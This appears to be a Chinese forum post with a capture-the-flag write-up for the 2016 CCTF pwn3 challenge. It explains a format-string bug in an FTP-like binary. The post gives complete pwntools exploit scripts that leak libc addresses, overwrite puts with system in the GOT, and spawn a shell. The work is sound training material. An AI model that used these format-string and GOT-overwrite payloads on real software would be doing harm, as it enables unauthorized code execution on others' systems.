首页
论坛
课程
招聘
[原创]PWN学习笔记【格式化字符串漏洞练习】【2016 CCTF 中的 pwn3 】
2022-6-9 17:39 10703

[原创]PWN学习笔记【格式化字符串漏洞练习】【2016 CCTF 中的 pwn3 】

2022-6-9 17:39
10703

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-example/#_9


ftp程序,需要使用rxraclhm账号登录,提供了get、put、dir三个功能,分别读文件、上传文件、查看目录

其中get方法存在格式化字符串漏洞


所以需要先put一个文件,内容是payload,然后get这个文件


先测试一下偏移

from pwn import *

# context.log_level = 'debug'

sh = process("./pwn3")

sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")

def put():
    sh.recvuntil(b"ftp>")
    sh.sendline(b"put")
    sh.recvuntil(b"please enter the name of the file you want to upload:")
    sh.sendline(b"aaa")
    sh.recvuntil(b"then, enter the content:")
    sh.sendline(b'AAAA..%p..%p..%p..%p..%p..%p..%p..%p')

def get():
    sh.recvuntil(b"ftp>")
    sh.sendline(b"get")
    sh.recvuntil(b"enter the file name you want to get:")
    sh.sendline(b"aaa")

put()
get()

print(sh.recv())
sh.interactive()


结果:

看到tag偏移量是7

再测试一下,把put最后一行改一下:

def put():
    sh.recvuntil(b"ftp>")
    sh.sendline(b"put")
    sh.recvuntil(b"please enter the name of the file you want to upload:")
    sh.sendline(b"aaa")
    sh.recvuntil(b"then, enter the content:")
    sh.sendline(b'AAAA%7$p')

确定偏移是7


dir方法:



开始构造payload:

把puts的地址改成system的地址,然后put一个文件,文件名为‘/bin/sh;’, 然后再调用dir, show_dir()函数会执行puts("/bin/sh;...")

也就是 system("/bin/sh;..."),反弹shell


exp:

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'

elf = ELF("./pwn3")

sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")

sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")

def put(file_name, file_content):
    sh.recvuntil(b"ftp>")
    sh.sendline(b"put")
    sh.recvuntil(b"please enter the name of the file you want to upload:")
    sh.sendline(file_name)
    sh.recvuntil(b"then, enter the content:")
    sh.sendline(file_content)

def get(file_name):
    sh.recvuntil(b"ftp>")
    sh.sendline(b"get")
    sh.recvuntil(b"enter the file name you want to get:")
    sh.sendline(file_name)

def dir():
    sh.recvuntil(b"ftp>")
    sh.sendline(b"dir")


def leakage_function_addr(got_addr):
    put(b'get_addr', b'%8$s' + p32(got_addr))
    get(b'get_addr')
    function_addr = u32(sh.recv(4))

    return function_addr


def compute_order_32(target):
    print("target=%x"%target)
    dic = {}
    for i in range(4):
        x = (target >> (i * 8))
        x &= 0xff
        dic[i] = x
        
    ls = list(dic.items())
    ls.sort(key=lambda x:x[1])
    return ls


def hack(addr, value, offset_start):
    list_of_value = compute_order_32(value)
    print(list_of_value)

    payload = flat([
        p32(addr + 0),
        p32(addr + 1),
        p32(addr + 2),
        p32(addr + 3)
    ])

    total_char = 16
    for it in list_of_value:
        curr_char = it[1] - total_char
        total_char += curr_char
        payload += b"%" + str(curr_char).encode() + b"c%" + str(offset_start + it[0]).encode() + b"$hhn"

    print("addr=%x"%addr)
    debug(payload)

    put(b'hack', payload)
    get(b'hack')



printf_addr = leakage_function_addr(elf.got['printf'])
print("function_addr=0x%x" %printf_addr)

libc = LibcSearcher("printf", printf_addr)
libcBase = printf_addr - libc.dump('printf')
print("libcBase=%x" %libcBase)


system_addr = libcBase + libc.dump('system')
print("system_addr=%x" %system_addr)

hack(elf.got['puts'], system_addr, 7)
put(b'/bin/sh;', b'get shell')

dir()

sh.interactive()


需要计算偏移量覆盖got['puts']

怎么覆盖看这个:https://bbs.pediy.com/thread-273213.htm


可以用pwntools里面的方法,一行代码搞定:payload = fmtstr_payload(7, {addr: value})

使用fmtstr_payload后的版本:

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'

elf = ELF("./pwn3")

sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")#, "b *get_file"

sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")

def put(file_name, file_content):
    sh.recvuntil(b"ftp>")
    sh.sendline(b"put")
    sh.recvuntil(b"please enter the name of the file you want to upload:")
    sh.sendline(file_name)
    sh.recvuntil(b"then, enter the content:")
    sh.sendline(file_content)

def get(file_name):
    sh.recvuntil(b"ftp>")
    sh.sendline(b"get")
    sh.recvuntil(b"enter the file name you want to get:")
    sh.sendline(file_name)

def dir():
    sh.recvuntil(b"ftp>")
    sh.sendline(b"dir")


def leakage_function_addr(got_addr):
    put(b'get_addr', b'%8$s' + p32(got_addr))
    get(b'get_addr')
    function_addr = u32(sh.recv(4))

    return function_addr

def hack(addr, value, offset_start):
    payload = fmtstr_payload(7, {addr: value})
    debug(payload)

    put(b'hack', payload)
    get(b'hack')



printf_addr = leakage_function_addr(elf.got['printf'])
print("function_addr=0x%x" %printf_addr)

libc = LibcSearcher("printf", printf_addr)
libcBase = printf_addr - libc.dump('printf')
print("libcBase=%x" %libcBase)


system_addr = libcBase + libc.dump('system')
print("system_addr=%x" %system_addr)

hack(elf.got['puts'], system_addr, 7)
put(b'/bin/sh;', b'get shell')

dir()

sh.interactive()


看下区别,这个是pwntools生成的payload:


这个是我的:


区别在格式化字符串和指针的位置不同


看下覆盖后的got,已经变成system了,nice


[2022冬季班]《安卓高级研修班(网课)》月薪两万班招生中~

最后于 2022-6-9 21:43 被洋洋不得意编辑 ,原因: 添加程序文件
上传的附件:
  • pwn3 (7.84kb,5次下载)
收藏
点赞3
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/07/08 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (2)
雪    币: 584
活跃值: 活跃值 (11135)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 活跃值 8 2022-6-10 16:22
2
0
题目部署到KCTF靶场:http://kctf.kanxue.com/challenges#get_pwn3-40
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
yinqingwang 活跃值 2022-6-12 13:22
3
0
谢谢
游客
登录 | 注册 方可回帖
返回